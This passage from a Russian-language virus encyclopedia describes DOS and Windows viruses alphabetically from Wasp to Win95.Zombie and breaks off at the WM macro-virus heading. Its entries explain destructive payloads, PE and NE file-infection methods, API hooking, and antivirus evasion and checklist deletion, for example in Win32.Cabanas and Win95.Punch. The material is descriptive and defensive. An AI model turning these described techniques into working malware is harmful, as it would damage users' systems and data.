память резидентный код "на INT 8", который "трясет" экран. В начале
содержит текст "W.A.S.P.".
Wasp.1655
Опасный резидентный вирус. 3 числа пытается форматировать нулевую
дорожку первого жесткого диска. В 20:00 выводит на экран текст:
-------------------------------¬
¦ Hello - Im Your New Virus ¦
¦ - WASP - ¦
¦ A.J.Poshukaev Call Neighbour ¦
L-------------------------------
Содержит также строку:
"Wasp"ver 1.0 - Underground Laboratory "FLY" - Moscow 1993
Watshira.2048 (1-3)
Неопасные резидентные вирусы, Watshira.2048 (3) - опасный вирус; 28
декабря он периодически зашифровывает и расшифровывает MBR жесткого
диска. Watshira.2048 (1,2) содержат текстовую строку:
Producted by Mr.Watshira Sae-eu KMIT-NB Date 12/28/1990 BIOS
Watshira.2048 (3) содержит текст:
We are PRO Version 1.0 Producted by Mr.Watshira Sae-eu KMIT-NB Date Dec
28,1990 See U Next Version. BIOS SOIB
WeekDay.1614
Неопасный резидентный вирус. В качестве признака заражения файла
устанавливает удвоенное значение дня недели создания файла в поле
секунд.
Weirdo.555
Неопасный резидентный вирус-спутник. Копирует свой код в область EMS,
оставляет в обычной памяти небольшой резидентный код "на INT 21h". При
старте EXE-файла вирус копирует свой код из EMS в обычную память и
создает COM-файл (вирус-спутник) с именем EXE-файла. Если при запуске
оригинального EXE-файла, не хватает свободной памяти. то вирус выводит
сообщение "Out of memory". Если же EXE-файл обнаружить не удалось, то
вирус удаляет COM-файл, из которого он стартовал. Содержит строку
"[Weirdo (c) 93 CC/TridenT]EMMXXXX0".
WereWolf.Beast.1192, 1208, WereWolf.FullMoon, WereWolf.Scream.1152, 1158, 1168,
WereWolf.Wulf (1,2), WereWolf.Howl.2662, 2845
Очень опасные резидентные вирусы. WereWolf.FullMoon,WereWolf.Wulf(1,2)-
зашифрованы, WereWolf.Howl.2662, 2845 - полиморфные. Периодически
уничтожают случайные сектора первых двух жестких дисков. Не заражают
файлы, содержащие в своем имени следующие последовательности букв:
CLEAN,AVP,TB, V,SCAN,NAV,IBM,FINDV,GUARD,FV,CHKDSK,F-. Содержат тексты:
WereWolf.Beast.1192,1208 - BEAST (C)1995 WereWolf
WereWolf.Howl.2662,2845 - [HOWL] (c)1996 WereWolf
WAVE v0.9 WereWolf Advanced Viral Encryption
WereWolf.FullMoon - FULL MOON (C)1995-96 WereWolf
WereWolf.Scream.1152,1158 - SCREAM (C)1996 WereWolf
WereWolf.Scream.1168 - SCREAM! (C)1995-96 WereWolf
WereWolf.Wulf (1) - WULF й1996 WereWolf
WereWolf.Wulf (1) - [WULF] (c) 1995-1996 WereWolf
Wet
Опасный загрузочный стелс-вирус. При заражении флоппи-дисков вирус не
сохраняет оригинальный загрузочный сектор. При попытке загрузки с такой
дискеты вирус выводит сообщение:
No system disk or disk error
Replace and strike any key when ready
Содержит текст "- (c) 1990 W.E.T. -".
Wg.728, 2413, 2423, 3822
Опасные резидентные полиморфные вирусы. Wg.728 с вероятностью 1/256
разрушает записываемые в файл данные (f.40h Int 21h), инвертируя биты
этих данных. Wg.2413, 2423 с вероятностью 1/256 уничтожают случайный
сектор на диске. Не заражают файлы, содержащие буквосочетания из списка
(по 2 символа на имя) AIADWEVDVSMSHIDR. Wg.2413, 2423 уничтожают файлы
CHKLIST.MS. Wg.728 содержит строку "WG02",Wg.2413 - "WG03 Copyright (C)
1995-1996 by WoodGoblin", Wg.2423 - "WG03m Copyright (C) 1995-1996 by
WoodGoblin". Wg.3822 может уничтожить данные на диске, выведя перед
этим сообщение:
DPMI error #1380: data file is corrupted (bad CRC)
Please wait...
Data recovery
All data have been succesfully DELETED!
Thanks for your assistance.
Press "reset" to continue.
Wg.3822 заражает SYS-файлы, указанные через переменные DEVICE или
DEVICEHIGH в файле C:\CONFIG.SYS. Резидентная копия Wg.3822
устанавливается в память только из инфицированных SYS-файлов. После
чего эта резидентная копия может заражать EXE-файлы. Wg.3822 удаляет
таблицы ревизора диска ADinf. Wg.3822 содержит текст "WG04m Copyright
(C) 1995-1997 by WoodGoblin".
Whale.9216
Неопасный резидентный шифрованный стелс-вирус. Создает файл
C:\FISH-#9.TBL, в который записывается содержимое MBR первого жесткого
диска и текст "FISH VIRUS #9 A Whale is no Fish! Mind her Mutant Fish
and the hidden Fish Eggs for they are damaging. The sixth Fish mutates
only if Whale is in her Cave". В период с 19 февраля по 20 марта
"завешивает" систему и выводит текст:
THE WHALE IN SEARCH OF THE 8 FISH I AM '~knzyvo}' IN HAMBURG
Wherex.1688
Опасный резидентный вирус. В понедельник в 3:30 пытается вывести на
экран текст:
GOLDEN FLOWERS!
VEGERATABLES!
PLEASE REMEMBER239
После чего уничтожает содержимое CMOS-памяти и сдвигает на 16 байт
"вверх" содержимое сектора MBR, причем признак загрузки второго диска
устанавливает в 0. Имеет текст "WHEREX".
WhiteAwe.2675
Неопасный резидентный полиморфный вирус. Иногда выводит на экран
"летающего привидения", очень похожего на привидение-Карлсона из
мультфильма по известной сказке Астрид Линдгрен, ждет нажатия на любую
клавишу, после чего выводит текст "White Awe will appear later...".
Win.CyberRiot
Очень опасный "резидентный" вирус. Заражает EXE-файлы в формате NewExe.
При старте инфицированного EXE-файла вирус пытается заразить модуль
KERNEL (KERNEL286.EXE или KERNEL386.EXE, в зависимости от компьютера,на
котором работает система). При заражении KERNEL вирус не создает новые
секции модуля, а "раздвигает" уже имеющиеся и дописывает свой код в
конец 2-ого кодового сегмента, а также он переустанавливает на себя
адрес экспортируемой функции WinExec. В результате при загрузке такого
зараженного модуля KERNEL, вирусный код остается "резидентным" в памяти
и получает контроль ко всем запускаемым NewExe-программам через функцию
WinExec. Эти запускаемые программы вирус заражает стандартным способом:
создает новый кодовый сегмент в заголовке NE и записывает свой код в
конец файла.В поле контрольной суммы NE-заголовка вирус записывает свой
идентификатор "LROY". В зависимости от некоторых условий вирус выводит
на экран MessageBox с заголовком "Chicago 7: Cyber riot" и помещает
внутрь один из следующих текстов,после чего уничтожает содержимое диска.
Сообщения вируса:
С 29 апреля по 1 мая:
Happy anniversary, Los Angeles!
Anarchists of the world, unite!
В пятницу между 1 и 13 числами:
When the levee breaks, I have no place to stay...
(Crying won't help you. Praying won't do you no good.)
С 26 по 31 декабря, 6 марта и после 1994 года:
Save the Whale, harpoon a fat cat.
Вирус содержит тексты:
USER KERNEL Chicago-7 CyberRiot, 15.1.1993 Klash (Werner L.)
Sommer 1993: 15 Windowscomputerviren
Source code avaiable for $15,000,000. Serious inquiries only.
Why does IBM need to lay me off? Oh well, their loss.
McAfee's FUD equation: !!!!!!+??????=$$$$$$
Convict the pigs
This program was written in the cities of Hamburg, Chicago, Seattle and
Berkeley. Copyright (C) 1993 Klash/Skism/George J/Phalcon/Henry
Buscombe and 2 ex-Softies, collectively known as the Chicago 7.
Coming soon: Diet riot. Same great aftertaste--fewer bytes.
Win.Homer
Неопасный "резидентный" вирус. Написан на C++. Заражает NewExe-файлы
формата Windows 3.1x. При старте инфицированного файла вирус остается
Windows-задачей и "перехватывает" INT 21h. При запуске NewExe-файлов
вирус заражает их. Существует предположение, что вирус перехватывает
сетевые пакеты и может, используя File Transfer Protocol, передать свою
копию на удаленный сервер в каталог INCOMING.
Win.Lamer
Неопасный нерезидентный полиморфный вирус. Заражает EXE-файлы в формате
NewExe (файлы для MS-Windows). Данный вирус является первым
представителем, использующим полиморфный механизм заражения для файлов
MS-Windows. Вирус производит поиск *.EXE-файлов на текущем диске и их
заражение, причем производится попытка поиска и заражения файлов в
каталоге \WINDOWS на текущем диске. Содержит тексты "WinLamer2
(C)Copyright Aug, 1995 by Burglar in Taipei, Taiwan." и "PME for
Windows v0.00 (C) Jul 1995 By Burglar".
Win.Tentacle.1958
Неопасный нерезидентный вирус, заражающий NewExe *.EXE-файлы в текущем
каталоге и в каталоге C:\WINDOWS. При нахождении NewExe файла вирус
создает файл C:\TENTACLE.$$$, в который записывает инфицированную копию
NewExe-файла. После чего исходный файл удаляется, а файлу TENTACLE.$$$
присваивается его имя. Иногда вирус может заместить текущую иконку,
находящуюся в теле заражаемого файла на свою. На вирусной пиктограмме
изображено щупальце осьминога и надпись "TENTACLE".
Win.Tentacle.10634
Неопасный нерезидентный вирус, заражающий NewExe *.EXE-файлы в текущем
каталоге и в каталогах C:\WIN,C:\WINDOWS,C:\WIN31, C:\WIN311, C:\WIN95.
Процедура заражения похожа на процедуру вируса Win.Tentacle.1958, но
Win.Tentacle.10634 при заражении не изменяет точку входа NE-файла.Вирус
создает новый кодовый сегмент, в который записывает свой код, и
соответствующую этому сегменту - сегментную секцию в заголовке NE. Для
того, чтобы получить управление вирус изменяет один элемент в таблице
перемещаемых элементов. Вирус ищет ссылку на процедуру KERNEL -INITTASK
или на процедуру VBRUN300 - THUNRTMAIN и заменяет ее на свой стартовый
код. Процедуры INITTASK и THUNRTMAIN вызываются практически сразу при
старте Windows-программ. В результате вместо вызова этих стандартных
процедур произойдет вызов вирусного кода. После поиска и заражения
файлов вирус отдает управление этим процедурам, которые в свою очередь
вернут управление инфицированной программе-носителю. При обнаружении
файла WINHELP.EXE вирус исправляет команду условного перехода (74 ??)
на безусловный переход (EB ??). При старте инфицированной программы с
часу до двух часов ночи, вирус создает файл C:\TENTACLE.GIF и
записывает в него изображение щупальца осьминога в GIF-формате. В поле
"Extensions" для просмотра *.GIF-файлов вирус записывает имя "своего"
GIF-файла - C:\TENTACLE.GIF. В результате при просмотре любого GIF-
файла система будет всегда показывать щупальце осьминога. Для этих
манипуляций вирус использует вызовы SHELL: REGSETVALUE и REGQUERYVALUE.
Win.Twitch (1,2)
Неопасные нерезидентные вирусы-спутники. Производят поиск NewExe *.EXE-
файлов, присваивают им расширение OVL и записывают свой код под
оригинальным именем файла. Содержат тексты:
BOOT SHELL SYSTEM.INI PATH TEMP OVL \ CHKLIST.CPS *.EXE
NETWARE FILEMAN SCRNSAVE WINPRINT WINDOWS
DeviceSelectedTimeout
LOAD .EXE \SYSTEM SYSEDIT.EXE NWPOPUP.EXE
Win.Vik (1-3)
Неопасные нерезидентные вирусы. Производят поиск и заражение NewExe
*.EXE и *.DLL - файлов в текущем каталоге. Win.Vik (2,3) содержат текст
"(C) 1994 American Eagle Publications Inc., All rights reserved.".
Win.Vir1.4
Неопасный нерезидентный вирус, заражающий файлы в формате NewExe.
Содержит текст "Virus_for_Windows v1.4".
Win.Winsurf.1171, 1432
Неопасные резидентные вирусы, заражающие файлы в формате NewExe (NE).
При запуске инфицированной программы, вирусы проверяют наличие DPMI и
присутствие своих копий в памяти компьютера. Если резидентные копии
вирусов не установлены и DPMI-интерфейс существует,то вирусы производят
поиск строки "windir=" в своем окружении (environment), открывают файл
SYSTEM.INI в каталоге, указанном в переменной "windir=", ищут в данном
файле строку "shell=" и производят заражение файла,следующего за данной
строкой. Обычно строка "shell=" для MS-Windows 3.xx указывает на файл
PROGMAN.EXE (Program Manager). Данная программа является резидентной в
течение всего сеанса работы MS-Windows. Т.о., вирус,внедренный в данную
программу, также будет являться резидентным. Вирусы с помощью DPMI
"перехватывают" INT 21h, "контролируют" запуск программ (Exec f.4bh
Int 21h) и заражают NewExe-файлы.
Win.Wintiny
Неопасный нерезидентный вирус. Содержит текст "WinTiny (C)Copyright
June, 1995 by Burglar in Taipei, Taiwan.".
Win32.Cabanas
Win32.Cabanas является первым из известных вирусов, поражающих файлы
семейства 32хразрядных операционных систем Microsoft Windows
(Win32s/Windows 95/Windows NT). Данный вирус умеет не только заражать
файлы в формате PortableExecutable, но оставаться резидентно на текущий
сеанс работы инфицированной программы в любой из перечисленных выше
операционных систем.
Все существовавшие до сих пор вирусы, написанные для Windows 95, не
умели корректно заражать файлы, предназначенные для работы в Windows
NT, т.к., хотя файлы для Windows 95 и Windows NT и имеют одинаковый
PE - формат, но все же некоторые поля в заголовке PE у них различаются.
Поэтому при заражении файлов Windows NT, вирусам необходимо
предпринимать дополнительные действия для корректной модификации PE-
заголовка. Иначе система Windows NT выдаст ошибку на этапе загрузки
данного файла. Также представляется определенной проблемой для вирусов-
это определение базовых адресов WIN32 KERNEL API в памяти,т.к., Windows
95 и Windows NT располагают модуль KERNEL32.DLL в разных адресах
памяти. Но Win32.Cabanas прекрасно справляется с данными проблемами.
При старте инфицированного файла вирус получает управление,
распаковывает и расшифровывает собственную таблицу WIN32 KERNEL API
имен процедур, необходимых ему для последующей работы и приступает к
определению базового адреса KERNEL32.DLL и адресов всех интересующих
его функций WIN32 KERNEL API.
Во время заражения файла вирус анализирует таблицу импортируемых
функций (Import Table) с целью нахождения имен функций
GetModuleHandleA, GetModuleHandleW и GetProcAddress. При нахождении
данных имен вирус запоминает в своем коде смещения адресов данных
процедур, находящихся в Import Table (как правило, в сегменте .idata).
Если имена перечисленных процедур вирусом не будут найдены, то
Win32.Cabanas в дальнейшем, при запуске инфицированного файла, будет
использовать другой недокументированный способ нахождения базового
адреса KERNEL32 и адресов WIN32 KERNEL API. Но этот недокументированный
способ содержит ошибки и работает некорректно в среде Windows NT. Итак,
если адреса импортируемых функций GetModuleHandleA или GetModuleHandleW
имеются в Import Table инфицированного файла, то вирус без проблем, с
помощью процедуры GetProcAddress, определяет все адреса WIN32 KERNEL
API. Если адресов интересующих его функций в Import Table нет, то вирус
с помощью некоторых ухищрений пытается определить адрес GetProcAddress
в таблице экспортируемых функций KERNEL32. Но, как уже отмечалось выше,
для Windows NT данный вирусный механизм не работает из-за ошибок, и,
как следствие, нормальная "жизнедеятельность" вируса окажется
невозможной. Это единственная серьезная ошибка Win32.Cabanas, из-за
которой у него возникают проблемы при распространении в среде Windows
NT. Зато в Windows 95 чувствует себя, "как рыба в воде" и безо всяких
трудностей (в случае отсутствия адресов функций GetModuleHandleA или
GetModuleHandleW) определяет базовый адрес KERNEL32.DLL и функции
GetProcAddress другим недокументированным способом.
При помощи функции GetProcAddress вирус может получить адрес любой
интересующей его процедуры WIN32 KERNEL API. Что он и делает: получает
адреса и запоминает их.
Далее вирус запускает свою процедуру заражения PE-файлов, имеющих
расширения EXE и SCR в каталогах \WINDOWS, \WINDOWS\SYSTEM и в текущем
директории. При заражении файлов вирус проверяет наличие в них
собственной копии по некоторым полям в заголовке PE и по длине файла,
которая при заражении вирусом Win32.Cabanas должна быть кратна 101. Как
уже отмечалось выше вирус производит поиск имен функций
GetModuleHandleA, GetModuleHandleW или GetProcAddress в таблице
импортируемых функций (Import Table) и запоминание ссылок на их адреса.
Затем вирус записывает свой код в конец файла, в область последней
сегментной секции (обычно .reloc), изменив характеристики и длину
данной секции. После того, как тело вируса записано в конец файла,
вирус изменяет пять начальных байт оригинальной точки входа кодовой
секции (обычно .text или CODE) на команду передачи управления на
вирусный код, находящийся в последней сегментной секции (.reloc). Для
этих целей вирус производит анализ таблицы перемещаемых элементов
(.reloc) с целью возможного нахождения какого-нибудь элемента в области
измененных вирусом байт. Если такая ссылка будет найдена, то вирус
"выключает" ее и запоминает ее адрес и значение для того, чтобы
впоследствии при передаче управления программе-вирусоносителю не забыть
восстановить исходные байты точки входа и, если необходимо, то
соответствующим образом настроить перемещаемый элемент (relocation).
После того, как вирус заразит все "пригодные" для этой цели файлы в
указанных выше каталогах, он приступает к установке в систему своей
резидентной копии и "перехвату" интересующих его системных функций. С
помощью функции VirtualAlloc вирус выделяет себе область памяти длиной
12232 байт и перемещает свой код в данную область. Далее вирус пытается
"перехватить" следующие функции WIN32 KERNEL API: GetProcAddress,
GetFileAttributesA,GetFileAttributesW, MoveFileExA,MoveFileExW,_loopen,
CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA,
CreateProcessW, CreateFileA, CreateFileW, FindClose, FindFirstFileA,
FindFirstFileW,FindNextFileA, FindNextFileW, SetFileAttrA,SetFileAttrW.
Адреса этих функций вирус "забирает" из Import Table, а в поля Import
Table подставляет адреса собственных обработчиков. Если некоторые
интересующие его функции вирусу "перехватить" не удалось, то в
дальнейшем при вызове программой функции GetProcAddress, вирус
проверяет нужен ли ему адрес данной функции и при необходимости
возвращает программе адрес собственной процедуры. При вызове
программами некоторых "перехваченных" вирусом функций запускается
процедура заражения файлов и\или процедуру стелс-режима для
инфицированных файлов. Так при вызове функций FindFirstFileA,
FindFirstFileW, FindNextFileA или FindNextFileW вирус может заразить
файл, поиск которого производится, после чего сразу же скрыть
приращение длины в данном файле.
Таким образом, Win32.Cabanas нельзя назвать "полностью резидентным"
вирусом, т.к., "перехват" системных функций и установка вирусной копии
в выделенный системой участок памяти производится только на текущий
сеанс работы инфицированной программы. Но, что произойдет если
пользователь запустит, например, инфицированный Norton Commander for
Windows 95 или Command Interpreter for Windows NT? Или программу,
которая остается в памяти резидентно? Правильно - вместе с такой
программой, до тех пор пока данная программа не будет завершена, будет
"трудиться" и Win32.Cabanas.
Win32.Cabanas содержит зашифрованный текст "(c) Win32.Cabanas v1.0 by
jqwerty/29A".
Win95.Apparition
Опасный полиморфный вирус, заражающий *.EXE файлы в формате Portable
Executable (PE). Написан на языке Borland C++, содержит в своем теле
компрессированные файлы с исходными текстами, имеет значительный
размер - около 80 Kb и занимает около 200 Kb памяти. При заражении
дописывает свой код и исходные тексты в начало файла, старое содержимое
портит, замещая определенные байты кода программы байтами 0FFh, 0FFh, ?
(? - байт со случайным значением в диапазоне от 0 до 255). При запуске
инфицированной программы вирус проверяет в секции [WinApp32] файла
Win.Ini наличие переменных "Logging", "ShowDotsOn" и "NoInfect",
управляющих режимами его работы, устанавливает собственный обработчик
критических ошибок, определяет тип операционной системы, переносит свой
код из инфицированного файла в память, которая будет использоваться для
заражения файлов, и загружает инфицированную программу. Для этого он
создает временный файл, переносит в него код и данные, находящиеся за
телом вируса, и запускает этот временный файл на исполнение в режиме
отладки. Вирусный обработчик особых ситуаций отладки получает
управление при исполнении инструкций, замененных вирусом, и
восстанавливает измененные байты кода. После загрузки программы вирус
проверяет наличие своей копии и, если она активна, завершает работу.
Иначе он создает стандартное "скрытое" окно, устанавливает обработчики
системных событий и начинает обычный для Windows-приложений цикл их
обработки. При получении управления по событию от системного таймера
вирус сканирует каталоги, начиная с корневого каталога первого
доступного логического диска. При каждом обрабатываемом сигнале таймера
вирус ищет следующий файл или каталог и таким образом организует поиск
файлов-жертв. Если расширение файла ".EXE" и имя не "BCC32", вирус
предпринимает попытку определить тип файла и, если файл имеет формат
Portable Executable и переменная "NoInfect" в файле Win.Ini не имеет
значения "Yes", заражает его. Для этого он создает временный файл,
записывает в него свое тело, компрессированные исходные тексты и
дописывает заражаемый файл. При записи файла-жертвы вирус ищет
последовательности из 3 определенных байт и заменяет первые два байта
на 0FFh, последний - на байт со случайным значением в диапазоне от 0 до
255. Поскольку при этом вирус не производит никаких дополнительных
проверок, некоторые программы могут быть безнадежно испорчены. Если же
имя найденного файла - BCC32.EXE, вирус проверяет наличие на диске
других файлов компилятора Borland C++ и, если они присутствуют,
приступает к генерации очередной полиморфной копии. Сначала он
распаковывает файлы со своими исходными текстами и сохраняет их во
временном каталоге. Затем он начинает создавать их копии, причем после
записи каждой строки может происходить генерация исходного текста
"мусорного" кода - вызовов некоторых функций API, арифметических
операций, процедур-"пустышек", объявлений неиспользуемых переменных и
т.д. После записи копий вирус создает файл ресурсов и некоторые другие
файлы, необходимые для компиляции полученных исходных текстов, которую
вирус и осуществляет при помощи найденных программ Borland C++. Если
компиляция закончилась успешно, вирус архивирует исходные тексты
утилитой EXTRACT.EXE, перезаписывает в них некоторые значения
переменных, зависящие от размеров полученного исполняемого модуля и
упакованных текстов, и перекомпилирует проект. После этого все
временные файлы удаляются, а содержимое полученного исполняемого модуля
и архивированных исходных текстов замещает буфера в памяти,
предназначенные для заражения файлов.
Win95.Boza (1-4)
Неопасный нерезидентный вирус, заражающий NewExe файлы в формате PE
(MS-Windows'95) в текущем каталоге диска. При заражении файлов вирус
использует прямые вызовы в модуль KERNEL32 по определенным адресам.
У инфицированного файла вирус инкрементирует количество секций в
PE - заголовке (NumberOfSections) и создает новую секцию с именем
".vlad". 31 числа вирус выводит на экран сообщение:
Bizatch by Quantum / VLAD
The taste of fame just got tastier!
VLAD Australia does it again with the world's first Win95 Virus
From the old school to the new..
Metabolis
Qark
Darkman
Automag
Antigen
RhinceWind
Quantum
Absolute Overlord
CoKe
Также вирус содержит текст "Please note: the name of this virus is
[Bizatch] written by Quantum of VLAD".Win95.Boza содержит массу ошибок,
в результате которых "нормальная жизнедеятельность" вируса,практически,
невозможна.
Win95.Companion
Неопасный нерезидентный вирус-спутник. Производит поиск *.EXE-файлов
в формате PE (Win95/NT) в текущем каталоге и заражение их. Вирус
присваивает PE-EXE-файлу расширение COM и записывает свой код в файл с
расширением EXE, вместо программного кода.
Win95.Harry.1536 (1,2), 2560
Опасные "резидентные" вирусы. Заражают PE EXE-файлы. При старте
инфицированного файла вирусы внедряются в ядро Windows 95, в область
данных драйвера VMM (если там есть свободное место) и "перехватывают"
файловые функции системы (IFS API). При открытии PE EXE-файлов вирусы
заражают их, записываясь в конец этих файлов в область последней секции
и модифицируя PE заголовок (характеристики последней сегментной
секции). Win95.Harry.2560 проявляется интересным видео-эффектом -
изменяет курсор мыши на изображение медицинского шприца. Для этих целей
вирус создает файл C:\suringe.cur и регистрирует его в системе.
Win95.Harry.1536 содержит текст "Anxiety.Poppy.95 by Vicodin",
Win95.Harry.2560 имеет строки "Fuck Harry by Quantum / VLAD", "\Control
Panel\Cursors", "Arrow".
Win95.Jacky
Неопасный нерезидентный вирус, заражающий файлы в формате PE. При
старте вирус пытается определить адреса системных файловых функций,
находящихся в ядре Windows'95. Далее с помощью этих функций вирус
производит поиск и заражение файлов. При заражении файла вирус
изменяет характеристики последней сегментной секции файла, записывает
в данную секцию свой код и устанавливает на него точку входа. Вирус
содержит зашифрованные строки:
To My d34d fRi3nD c4b4n4s..
A Win/NT/95 ViRuS v1.00.
By: j4cKy Qw3rTy / 29A.
jqw3rty@cryogen.com
Win95.Mad
Неопасный нерезидентный шифрованный вирус. Алгоритм работы данного
вируса очень похожи на алгоритмы вируса Win95.Jacky. Производит поиск
*.EXE файлов в формате Win PortableExe (PE) в текущем и родительских
каталогах и заражает их. При заражении файла вирус изменяет
характеристики последней сегментной секции файла, ее стартовый адрес и
размер, и записывает свой код в конец файла. В зависимости от текущего
времени вирус может вывести окно сообщений с текстом:
Multiplatform Advanced Destroyer
Hello user your computer is infected by MAD virus
Welcome to my first virus for Windoze95...
Distribution & Copyright by Black Angel 1997
Содержит текст "[MAD for Win95] version 1.0 BETA! (c)Black Angel`97".
Win95.Memorial
Неопасный резидентный полиморфный вирус,заражающий DOS COM и EXE-файлы,
а также *.EXE и *.SCR-файлы в формате PortableExe (PE). Является первым
известным полиморфным вирусом для операционной системы Windows'95. В
DOS файлах и в VxD - драйвере вирус не зашифрован. При запуске
инфицированного DOS файла, вирус проверяет наличие среды Windows и
собственной резидентной копии в памяти компьютера. Если Windows
загружена или вирусная копия уже присутствует в системе, то вирус не
предпринимает никаких действий и отдает управление программе-носителю.
Если же данные условия не выполняются, то вирус создает файл
C:\CLINT.VXD (инфицированные EXE-файлы содержат ошибку в создании VxD-
драйвера), записывает в него собственный распакованный вирусный код
(в зараженных файлах код виртуального драйвера хранится в упакованном
виде) и оставляет в области второй половины таблицы векторов прерываний
резидентный код, который "контролирует" INT 2Fh. Данная резидентная
копия не заражает файлы, а предназначена для возвращения ответа "я
здесь" и для загрузки виртуального вирусного драйвера C:\CLINT.VXD при
старте Windows. При инициализации Windows вирусный резидентный код
получает управление и достаточно хитроумным способом, используя
интерфейс Windows, "подсказывает" среде Windows, что необходимо
загрузить резидентно в память драйвер C:\CLINT.VXD. Таким образом,
вирус без манипуляций с файлом SYSTEM.INI загружает свой виртуальный
драйвер. Данный драйвер контролирует файловые операции и при обращении
к DOS COM и EXE-файлам, а также к *.EXE и *.SCR файлам в формате PE -
заражает их. При заражении PE файлов, вирус создает дополнительную
сегментную секцию с названием CLINTON (обычно данное название
зашифровано) и записывает свой зашифрованный полиморфный код в конец
файла. При старте инфицированного PE файла под Windows'95, вирус
определяет адреса необходимых ему процедур в модулях KERNEL32 и USER32
и, при отсутствии вирусного резидентного кода в системе, создает
вирусный виртуальный драйвер в корневом каталоге и загружает его в
систему также очень интересным способом с помощью интерфейса
Windows'95. Так, установка резидентной копии очень похожа по алгоритму,
но различается по реализации для различных операционных сред. Хотя и в
том, и в другом случае необходимо наличие Windows'95. 10 апреля вирус
выводит окно сообщений с текстом:
Clinton Haines Memorial Virus by Quantum/VLAD and Qark/VLAD
Clinton Haines, also known as Harry McBungus, Terminator Z and Talon
died of a drug overdose on his 21st birthday, April the 10th, 1997.
During his time as a virus writer he wrote the No Frills family, X-Fungus,
Daemon and 1984 viruses. He was a good friend to VLAD and so we write
this virus in his honour. We hope it's good enough to do him justice.
VLAD Remembers. Rest in Peace
Win95.MrKlunky
Неопасный "резидентный" вирус. По способам внедрения в систему и
заражению файлов очень похож на вирус Win95.Punch. При старте
зараженного PE EXE-файла вирус создает файл MRKLUNKY.VXD в формате
VxD-драйвера и регистрирует его в системе. При заражении файлов вирус
создает новую сегментную секцию с именем MrKlunky и записывает свой код
в конец файлов. Вирус создает файл C:\LOG.LOG, в который записывает
имена всех заражаемых файлов.
Win95.Punch
Опасный "резидентный" вирус, заражающий EXE-файлы в формате Portable
Execute (Win95/NT). При старте инфицированного EXE-файла вирус пытается
создать файл VVFS.VXD (в формате LE EXE) в каталоге C:\WIN95 или в
C:\WINDOWS. Если таких каталогов не существует, то вирус "отказывается"
от своей попытки поразить систему. При удачной попытке вирус записывает
в файл VVFS.VXD свой вирусный код длиной 9262 байта в формате VxD-
драйвера. Далее вирус открывает файл SYSTEM.INI и производит поиск
строки "ice=" ("device="). Сразу же после данной строки вирус вставляет
вызов своего файла-дроппера VVFS.VXD, причем вирус проверяет наличие
данного вызова. После чего файл SYSTEM.INI закрывается и вирус
возвращает управление программе-носителю. В результате, вирус в VxD-
драйвере активизируется в системе только после первой же перезагрузки
системы. После загрузки MS-Windows'95 вирус получает управление,
остается в памяти, как системный VxD-драйвер и "перехватывает" открытие
файлов (IFSFN_OPEN). В результате, все открываемые файлы, как в Win95,
так и в DOS-окне будут контролироваться вирусом. Если открываемый файл
находится в формате PE (Win95/NT-файл), то вирус пытается его заразить.
При заражении вирус создает новую секцию в заголовке PE, которой
присваивает имя QuantumG, записывает свое тело (10185 байт) в конец
файла и правит секцию ресурсов и описание ресурсов в заголовке PE для
возможности вызова функций KERNEL32 из вирусного кода.Вирус не заражает
файлы у которых уже присутствует секция с именем QuantumG.При заражении
вирус не контролирует расширения файлов, а только формат файлов.Поэтому
в системе могут оказаться зараженными файлы с расширениями DLL,CPL,DRV,
... Различная длина вирусного кода при заражении VxD-дроппера и EXE-
файлов связана с различным форматом LE и PE файлов, а также, формально,
при заражении EXE-файлов вирус сначала записывает процедуру создания
вирусного VxD-файла, а затем, непосредственно, и сам VxD-дроппер. Вирус
содержит огромное количество ошибок, из-за которых его нормальная
"жизнедеятельность" практически невозможна. Вирус содержит тексты:
c:\win95\system.ini
c:\windows\system.ini
c:\win95\system\vvfs.vxd
c:\windows\system\vvfs.vxd
QuantumG
Beating You to the Punch in the '97 (almost)
Win95.Zombie
Неопасный нерезидентный зашифрованный вирус, заражающий EXE-файлы в
формате PortableExecutable. При старте инфицированного файла, вирусный
декриптор расшифровывает основное тело вируса и отдает ему управление.
Основной вирусный код определяет расположение в памяти KERNEL32 Export
Table и сохраняет в своем теле адреса функций WIN32 KERNEL API,
необходимых ему для заражения файлов. Далее вирус определяет командную
строку запущенной инфицированной программы и запускает ее повторно с
помощью функции WinExec. Вторая вирусная копия и будет производить
дальнейшее заражение системы. А первая вирусная копия ( которая
и произвела повторный запуск инфицированной программы) после отработки
процедуры WinExec возвратит управление программе-вирусоносителю. Для
заражения PE EXE-файлов вирус сканирует системный каталог Windows, а
также проходит все каталоги дисков C:, D:, E: и F:. При нахождении PE
EXE-файла, вирус производит его анализ, и если данный файл
удовлетворяет некоторым условиям, то производится его заражение.
Win95.Zombie создает новую сегментую секцию .Z0MBiE в заголовке PE,
устанавливает на нее точку входа и записывает свой зашифрованный код
в конец файла, в область данной сегментной секции. После заражения
логического диска вирус создает в его корневом каталоге файл-дроппер
ZSetUp.EXE с атрибутами: архивный и системный. В этот файл вирус
Win95.Zombie записывает код вируса Zombie.1922 (см. описание вируса
Zombie.1922). Вирус содержит тексты:
Z0MBiE 1.01 (c) 1997
My 2nd virii for mustdie
Tnx to S.S.R.
Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
Tnx to S.S.R.
ShadowRAM/Virtual Process Infector
ShadowRAM Technology (c) 1996,97 Z0MBiE
code................1398
viriisize...........4584
virtsize............8936
Wisconsin.815
Опасный нерезидентный вирус. Ведет счетчик запусков инфицированного
файла. После 4 запусков вирус пытается уничтожить файлы *.PAS в текущем
директории, после чего выводит текст "Death to Pascal.".
Witching.1400 (1,2)
Опасные нерезидентные вирусы. Удаляют файлы cHkLiS*.*. Первым делом
пытаются заразить файлы ChKdSk.exE, XcOPy.eXE, MeM.ExE. Иногда выводят
текст:
IT'S WITCHING HOUR... YOUR COMPUTER IS BEING HAUNTED ! HAHAHA...
1 апреля выводят другой текст:
Bad luck... You've got a virus in your system !
Think about using a virus-scanner which is more up-to-date !
Here lies a program in its coffin, executed by a user one time too often...
Wizard.802
Размещает свою TSR-копию в памяти по адресу 9000:A000h без коррекции
MCB-блоков. Содержит строку "PC-FLU by WIZARD 1991".
Wizard.812, 2502
Неопасные резидентные вирусы. Wizard.2502 иногда проигрывает мелодию.
Содержат текст "WIZARD".
WM - вирусы
Вирусы, заражающий текстовые файлы-документы в формате WinWord 6.0 или
7.0. Заражение системы вирусами происходит при открытии на
редактирование зараженных DOC-файлов. При открытии файла-документа
